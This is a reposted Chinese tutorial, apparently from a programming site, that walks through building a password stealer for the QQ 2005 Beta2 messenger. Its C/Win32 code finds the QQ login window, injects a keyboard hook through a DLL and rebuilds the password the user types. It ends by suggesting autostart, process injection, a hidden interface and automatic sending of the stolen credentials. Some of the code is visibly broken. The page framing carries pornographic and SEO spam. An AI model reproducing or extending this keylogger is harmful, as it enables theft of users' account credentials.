国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁(yè) > 學(xué)院 > 開(kāi)發(fā)設(shè)計(jì) > 正文

編程實(shí)現(xiàn)盜2005 Beta2版QQ

2019-11-17 05:01:41
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友
一、思路分析 (一) 數(shù)據(jù)包的角度 (二) 鉤子角度 1. 鉤子簡(jiǎn)介 2. 程序流程 ;二、 實(shí)現(xiàn)過(guò)程 
  (一) 定義宏 
  (二) 枚舉進(jìn)程找到QQ.exe 
  (三) 枚舉所有窗口,找屬于QQ.exe的窗口 
  (四) 獲取用戶名、密碼、登陸按鈕的句柄 
  (五) 創(chuàng)建鉤子用的DLL 
  (六) 安裝鉤子
  一直以來(lái)我對(duì)盜QQ這種技術(shù)都比較的好奇,最近為了練手,決定寫(xiě)一個(gè)盜QQ的程序。經(jīng)過(guò)一個(gè)星期的努力,終于得到了QQ的用戶名和密碼,效果如下:
 編程實(shí)現(xiàn)盜2005 Beta2版QQ
  本程序在Win2003 + QQ2005 Beta2下測(cè)試通過(guò)。下面就來(lái)分析一下整個(gè)實(shí)現(xiàn)過(guò)程?! ?STRONG>一、 思路分析
  一般這種盜QQ程序,都可以從兩個(gè)角度分析。它們分別是:數(shù)據(jù)包和鉤子技術(shù)?! ?一) 數(shù)據(jù)包的角度
  從這個(gè)角度入手的難度較大,這需要對(duì)QQ所用的協(xié)議非常的清楚,還要了解QQ發(fā)送的數(shù)據(jù)包采用的算法,然后把QQ發(fā)送的數(shù)據(jù)包截獲下來(lái),通過(guò)逆向分析最終得到QQ密碼。由于本人對(duì)QQ所用的協(xié)議沒(méi)什么研究,所以沒(méi)有采用這個(gè)思路,以后有機(jī)會(huì)倒是可以試試?! ?二) 鉤子角度
  平時(shí)寫(xiě)盜密碼程序用的最多的應(yīng)該就是鉤子技術(shù)了,因?yàn)?a href="http://m.survivalescaperooms.com/system.asp">操作系統(tǒng)提供的API可以讓我們很輕松的安裝和卸載鉤子,從而輕易得到我們想要的東西。1. 鉤子簡(jiǎn)介
  鉤子是一個(gè)很形象的詞,它就像一個(gè)“鉤”,通過(guò)它就可以把操作系統(tǒng)里的消息給鉤下來(lái),經(jīng)過(guò)我們處理后再發(fā)送出去。具體如下圖:編程實(shí)現(xiàn)盜2005 Beta2版QQ

  2. 程序流程
  Spy++這個(gè)工具可以讓我們查看QQ登陸窗口的許多信息,如下圖:
 編程實(shí)現(xiàn)盜2005 Beta2版QQ
   從圖中可以大概知道,QQ登陸窗口左上角的文字并不是直接寫(xiě)上去的,也就是說(shuō)不能直接用FindWindow()方法得到登陸窗口的句柄。另外,雙擊某一個(gè)子窗口,還可以查看該窗口的風(fēng)格等,本程序就是利用登陸窗口的樣式不變才找到了登陸窗口的句柄。以下是程序的具體流程圖:編程實(shí)現(xiàn)盜2005 Beta2版QQ
編程實(shí)現(xiàn)盜2005 Beta2版QQ  編程實(shí)現(xiàn)盜2005 Beta2版QQ  二、 實(shí)現(xiàn)過(guò)程
  有了上面這個(gè)流程圖后,經(jīng)常寫(xiě)win32程序的朋友應(yīng)該也能寫(xiě)出這種盜QQ程序的,你無(wú)妨自已寫(xiě)寫(xiě)試試,有不明白的地方可以參考我的程序。以下為我的程序的要害代碼:
  (一) 定義宏
  //QQ登陸框正常情況下的風(fēng)格
  #define QQLoginDlgNormalStyle  0x94CA00C4
  //QQ登陸框最小化時(shí)的風(fēng)格
  #define QQLoginDlgMiniStyle  0xB4CA00C4
  //用戶名下拉控件的ID
  #define QQLoginUserNameId  0x0000008A
  //密碼控件文本框的ID
  #define QQLoginPassWordId  0x000000B4
  //登陸按扭的ID
  #define QQLoginButtonId         0x00003EA0  (二) 枚舉進(jìn)程找到QQ.exe

  //定義PROCESSENTRY32結(jié)構(gòu)
   PROCESSENTRY32 pe;
   pe.dwSize = sizeof(pe); 
   HANDLE hProcessSnap;
   //所有進(jìn)程快照
   hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   if(hProcessSnap == INVALID_HANDLE_VALUE)
   {
      printf("進(jìn)程快照失敗!/n");
      return -1;
   }
   BOOL bRet;
   //遍歷進(jìn)程快照,輪流顯示每個(gè)進(jìn)程的信息
   bRet = Process32First(hProcessSnap,&pe);
   while(bRet)
   {
      //pe.szExeFile保存的值為進(jìn)程對(duì)應(yīng)的可執(zhí)行文件名
      if(strcmp(pe.szExeFile,"QQ.exe") ==0) 
    { 
      //這個(gè)時(shí)候的pe.th32ProcessID值,就是QQ.exe的PID值了。
     BOOL bRet;
     //枚舉所有窗口,把進(jìn)程PID傳給回調(diào)函數(shù)EnumAllWindowsProc
     bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);
     if(bRet == FALSE)
     {
      printf("枚舉所有窗口失敗!/n");
      return -1;
     }
  }
  }  
  這里要提醒一點(diǎn),要調(diào)用CreateToolhelp32Snapshot()、Process32First()這些函數(shù),需要在頂部加一句代碼:#include <tlhelp32.h>?! ?STRONG>(三) 枚舉所有窗口,找屬于QQ.exe的窗口
  BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)
  {
   if(hwnd == NULL)
   {
    return FALSE;
   }
   //QQ.exe的ID
   DWORD dwQQProcessID;
   dwQQProcessID = (DWORD)lParam;
   GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID); 
   //假如創(chuàng)建QQ.exe的進(jìn)程等于創(chuàng)建窗口的進(jìn)程 
   if(dwQQProcessID == dwCreateWindowProcessID)
   {
    LONG lWindowStyle;
    //找到窗口的風(fēng)格
    lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);  
    //假如條件成立,表示當(dāng)前窗口為登陸窗口
    if(lWindowStyle == QQLoginDlgNormalStyle
     lWindowStyle == QQLoginDlgMiniStyle)
    { 
     //保存登陸窗口的句柄
     hLoginWindow = hwnd;  
    } 
   } 
   return TRUE;
  }
  該回調(diào)函數(shù)執(zhí)行完后,就得到QQ登陸窗口的句柄。保存在hLoginWindow中?! ?STRONG>(四) 獲取用戶名、密碼、登陸按鈕的句柄
  BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)
  {
   if(hwnd == FALSE)
   {
    return FALSE;
   }
   LONG  lID;
   //取得所有子窗口的ID
   lID = GetWindowLong(hwnd, GWL_ID);
   //該句表示找到用戶名的句柄
   if(lID == QQLoginUserNameId)
   {  
    hUserName = hwnd; 
   }
   else if(lID == QQLoginPasswordId)

   {
    hUserPwd = hwnd;
   }
   else if(lID == QQLoginButtonId)
   {
    hLoginButton = hwnd; 
   }
   return TRUE;
  }  注重:以上回調(diào)函數(shù)用到了三個(gè)變量,別忘了在頂部定義哦!  //用戶名、密碼、登陸按鈕的句柄
  HWND hUserName;
  HWND hUserPwd;
  HWND hLoginButton;  (五) 創(chuàng)建鉤子用的DLL
  1. 申明函數(shù)
  新建一個(gè)Win32 Dynamic-Link Library項(xiàng)目,命名為:QQHook。選擇空DLL選項(xiàng),然后在QQHook.h中申明函數(shù):
  #define QQHookLIB_API __declspec(dlleXPort)
  //聲明要導(dǎo)出的函數(shù)
  //安裝鍵盤(pán)鉤子函數(shù)         
  BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
           HMODULE hDll,
           HWND hLoginWindow,
           HWND hUserName,
           HWND hUserPwd,
           HWND hLoginButton,
           DWORD dwCreateWindowProcessID);  2. 申明共享數(shù)據(jù)段以及導(dǎo)出函數(shù)
  選“新建文件Text File”,文件名稱處輸入QQHook.def,然后添加如下代碼:
  EXPORTS   SetKeyBoardHook
  SECTIONS
   QQSpyShare Read Write Shared
  這樣SetKeyBoardHook函數(shù)即為導(dǎo)出函數(shù)了,可以在別的項(xiàng)目中被調(diào)用?! ?. DLL主要代碼
  接下來(lái)在QQHook.cpp文件中添加如下代碼:  //共享數(shù)據(jù)段,注重要初始化
  #pragma data_seg("QQSpyShare")
  HWND  g_hLoginWindowWnd = NULL; //QQ主窗口句柄
  HHOOK g_hMessageHook = NULL;  //消息鉤子句柄
  HHOOK g_hKeyBoardHook = NULL;  //鍵盤(pán)鉤子句柄
  HWND hQQLoginUserName = NULL;
  HWND hQQLoginUserPwd = NULL;
  HWND hQQLoginButton = NULL;
  #pragma data_seg()  //安裝鍵盤(pán)鉤子函數(shù)          
  BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,
           HMODULE hDll,
           HWND hLoginWindow,
           HWND hUserName,
           HWND hUserPwd,
           HWND hLoginButton,
           DWORD dwCreateWindowProcessID)
  {
   BOOL bResult;   if(bInstall)
   { 
    //保存用戶名的句柄

    hQQLoginUserName = hUserName;
    //保存密碼的句柄
    hQQLoginUserPwd = hUserPwd; 
    //保存登陸QQ按鈕的句柄
    hQQLoginButton = hLoginButton;
    //保存登陸窗口的句柄
    g_hLoginWindowWnd = hLoginWindow;
    //登陸窗口的主線程,安裝鉤子的時(shí)候要用
    DWORD dwCreateLoginWindowThreadId;
    dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL);  
    //在登陸窗口主線程上安裝鉤子
    g_hKeyBoardHook = SetWindowsHookEx(
     WH_KEYBOARD,     //安裝鍵盤(pán)鉤子
     (HOOKPROC)KeyBoardProc,   //鍵盤(pán)鉤子回調(diào)函數(shù)
     hDll,        //QQHook.dll模塊句柄
     dwCreateLoginWindowThreadId);   //登陸窗口的主線程    if(g_hKeyBoardHook == NULL)
    {
     printf("鍵盤(pán)鉤子安裝失敗!");
     return FALSE;
    }
    else
    {
     printf("鍵盤(pán)鉤子安裝成功了!");
     return TRUE;
    }
  
   }
   else
   {
    //卸載鉤子
    bResult = UnhookWindowsHookEx(g_hKeyBoardHook);
    if(bResult == TRUE)
    {
     printf("鍵盤(pán)鉤子卸載成功!");
     return TRUE;
    }
    else
    {
     printf("鍵盤(pán)鉤子卸載失敗!");
     return FALSE;
    }
   }
   return TRUE;
  }  以上代碼的作用是在登陸窗口的主線程上安裝鉤子,這樣當(dāng)在QQ登陸窗口中有鍵盤(pán)輸入的時(shí)候,就會(huì)執(zhí)行回調(diào)函數(shù)里的代碼。只要我們?cè)阪I盤(pán)鉤子回調(diào)函數(shù)中將得到的按鍵信息進(jìn)行信息,即可將QQ密碼記錄下來(lái)。以下為鍵盤(pán)鉤子回調(diào)函數(shù)代碼:  //鍵盤(pán)鉤子回調(diào)函數(shù)
  LRESULT CALLBACK KeyBoardProc(int ncode,
          WPARAM wParam,
          LPARAM lParam
          )
  {
   //創(chuàng)建一個(gè)緩沖區(qū)保存連起來(lái)的密碼
   static char buf[250] = {0};
   //用于保存用戶名框的內(nèi)容
   char cUserName[10];
   ZeroMemory(cUserName, 10);
   //用于保存用戶在密碼框上的每一個(gè)按鍵
   char cUserPwd[30];
   //假如按的鍵是回車鍵
   if (wParam == VK_RETURN && lParam > 0)
   {
    //得到用戶名的值保存在cUserName中,密碼框的值不能通過(guò)這種方法獲得
    SendMessage(hQQLoginUserName, WM_GETTEXT, 10, (LPARAM)cUserName);
   }   //假如不是按回車,并且是在密碼框中輸入
   if (lParam > 0 && wParam != VK_RETURN &&
    //當(dāng)前輸入框?yàn)槊艽a框

    hQQLoginUserPwd == GetFocus())
   {
    //記下密碼框中輸入的字符
    GetKeyNameText(lParam, cUserPwd, 30);    //以下代碼把每一次按的鍵連起來(lái)形成一個(gè)完整的密碼
    static int index = 0;
    if(index == 0)
    {
     if(strcmp(cUserPwd,"Num 1") == 0)
     {
      strcpy(buf,"1");
     }
     else if(strcmp(cUserPwd,"Num 2") == 0)
     {
      strcpy(buf,"2");   
     }
     else if(strcmp(cUserPwd,"Num 3") == 0)
     {
      strcpy(buf,"3");   
     }
     else if(strcmp(cUserPwd,"Num 4") == 0)
     {
      strcpy(buf,"4");   
     }
     else if(strcmp(cUserPwd,"Num 5") == 0)
     {
      strcpy(buf,"5");   
     }
     else if(strcmp(cUserPwd,"Num 6") == 0)
     {
      strcpy(buf,"6");   
     }
     else if(strcmp(cUserPwd,"Num 7") == 0)
     {
      strcpy(buf,"7");   
     }
     else if(strcmp(cUserPwd,"Num 8") == 0)
     {
      strcpy(buf,"8");   
     }
     else if(strcmp(cUserPwd,"Num 9") == 0)
     {
      strcpy(buf,"9");   
     }
     else if(strcmp(cUserPwd,"Num 0") == 0)
     {
      strcpy(buf,"0");   
     }
     else
     {
      strcpy(buf,cUserPwd);
     }
    }
    else
    {
     if(strcmp(cUserPwd,"Num 1") == 0)
     {
      strcat(buf,"1");
     }
     else if(strcmp(cUserPwd,"Num 2") == 0)
     {
      strcat(buf,"2");   
     }
     else if(strcmp(cUserPwd,"Num 3") == 0)
     {
      strcat(buf,"3");   
     }
     else if(strcmp(cUserPwd,"Num 4") == 0)
     {
      strcat(buf,"4");   
     }
     else if(strcmp(cUserPwd,"Num 5") == 0)
     {
      strcat(buf,"5");   

     }
     else if(strcmp(cUserPwd,"Num 6") == 0)
     {
      strcat(buf,"6");   
     }
     else if(strcmp(cUserPwd,"Num 7") == 0)
     {
      strcat(buf,"7");   
     }
     else if(strcmp(cUserPwd,"Num 8") == 0)
     {
      strcat(buf,"8");   
     }
     else if(strcmp(cUserPwd,"Num 9") == 0)
     {
      strcat(buf,"9");   
     }
     else if(strcmp(cUserPwd,"Num 0") == 0)
     {
      strcat(buf,"0");   
     }
     else
     {
      strcat(buf,cUserPwd);
     }
    }
    ++index;
   }   //假如按的是回車,將上面得到的用戶名和密碼連在一起顯示
   if (wParam == VK_RETURN && lParam > 0)
   {
    char cAccount;
    strcpy(&cAccount,"用戶名:");
    strcat(&cAccount,cUserName);
    strcat(&cAccount,"/n密  碼:");
    strcat(&cAccount,buf);
    strcat(&cAccount,"/nBy:∮明天去要飯");
    //cAccount中保存了用戶名和密碼,想怎么處理就怎么處理
    MessageBox(NULL,&cAccount,"QQ帳號(hào):",MB_OK);
    return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
   }
   return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);
  }  這里需要注重以下幾個(gè)問(wèn)題:
  1. 回調(diào)函數(shù)相當(dāng)于是QQ.exe的函數(shù),所以在DLL中的變量值假如想在回調(diào)函數(shù)中用,需要把變量定義在共享數(shù)據(jù)段中,這樣才能被回調(diào)函數(shù)執(zhí)行?! ?. 定義的變量index之所以要定義成static,是因?yàn)閕ndex要保持上一次運(yùn)行的值,也就是說(shuō)index只能被初始化一次。static char buf[250] = {0}這一句也是一個(gè)道理。當(dāng)用戶在QQ登陸窗口的密碼框中輸東西時(shí),就會(huì)執(zhí)行該回調(diào)函數(shù),該回調(diào)函數(shù)每一次記下的值只是一個(gè)鍵盤(pán)按鍵,只有將按鍵連起來(lái)才是一個(gè)密碼?! ?. 由于按1得到的是Num 1,按2得到的是Num 2,所以要對(duì)得到的按鍵進(jìn)行處理?! ?. 從這個(gè)回調(diào)函數(shù)可以知道,假如用戶在輸密碼的時(shí)候后退了,或是刪除了密碼再繼續(xù)輸入,那么記錄下來(lái)的內(nèi)容將是不準(zhǔn)確的。另外,當(dāng)用戶輸入的是小寫(xiě)字母的時(shí)候,顯示出來(lái)的值會(huì)是大寫(xiě)字母,這也是一個(gè)BUG,不過(guò)盜QQ程序的原理就是這樣了?! ?六) 申明導(dǎo)出函數(shù)  (七) 安裝鉤子
  上面只是提供了一個(gè)安裝鉤子的函數(shù),還沒(méi)有真正進(jìn)行安裝,接下來(lái)才是真正開(kāi)始安裝鉤子。
     //用戶名、密碼、登陸按鈕的句柄都不為空時(shí)安裝鉤子
     if(hUserName != NULL &&
      hUserPwd != NULL &&
      hLoginButton != NULL)
     {
      //得到DLL模塊的句柄
      hDll = GetModuleHandle("QQHook.dll");
      if(hDll == NULL)
      {

       return FALSE;
      }
      //安裝鍵盤(pán)鉤子
      bKeyBoardHook = SetKeyBoardHook(
       TRUE,
       hDll,
       hLoginWindow,
       hUserName,
       hUserPwd,
       hLoginButton,
       dwCreateWindowProcessID);    
      if(bKeyBoardHook == FALSE)
      {
       printf("調(diào)用鍵盤(pán)鉤子失敗!");
       return FALSE;
      }
     }  以上就是盜QQ程序的要害代碼了,打開(kāi)QQ登陸框,然后運(yùn)行主程序QQSpy.exe,接下來(lái)輸用戶名和密碼并回車,即會(huì)彈出窗口顯示用戶名和密碼。本程序還可以進(jìn)行如下改進(jìn):
  1. 改進(jìn)記錄密碼的代碼。
  2. 加入對(duì)鼠標(biāo)點(diǎn)擊“登錄QQ”進(jìn)行HOOK的代碼。
  3. 設(shè)置成自動(dòng)啟動(dòng)。
  4. 注入到別的進(jìn)程中。
  5. 運(yùn)行的時(shí)候沒(méi)有界面,記錄下來(lái)后自動(dòng)發(fā)送密碼?! ∮捎诒救顺鯇W(xué)c/c++不久,所以寫(xiě)這個(gè)程序的時(shí)候感覺(jué)很吃力,幸好我的朋友們?cè)谖矣欣щy的時(shí)候總能給我或多或少的幫助,在此要感謝他們,非凡要感謝蘭陵笑笑生給我提供思路。

發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 酉阳| 嘉义县| 扬中市| 巴东县| 颍上县| 荥经县| 武城县| 离岛区| 改则县| 九寨沟县| 清徐县| 福海县| 阿图什市| 寻甸| 刚察县| 衡山县| 阿拉善右旗| 永仁县| 麻城市| 万山特区| 平安县| 伽师县| 武平县| 佛冈县| 靖远县| 湘乡市| 通许县| 平阴县| 雅江县| 沁水县| 黄大仙区| 特克斯县| 汉沽区| 绵阳市| 云霄县| 玉门市| 汉阴县| 天镇县| 巴彦淖尔市| 阳朔县| 新津县|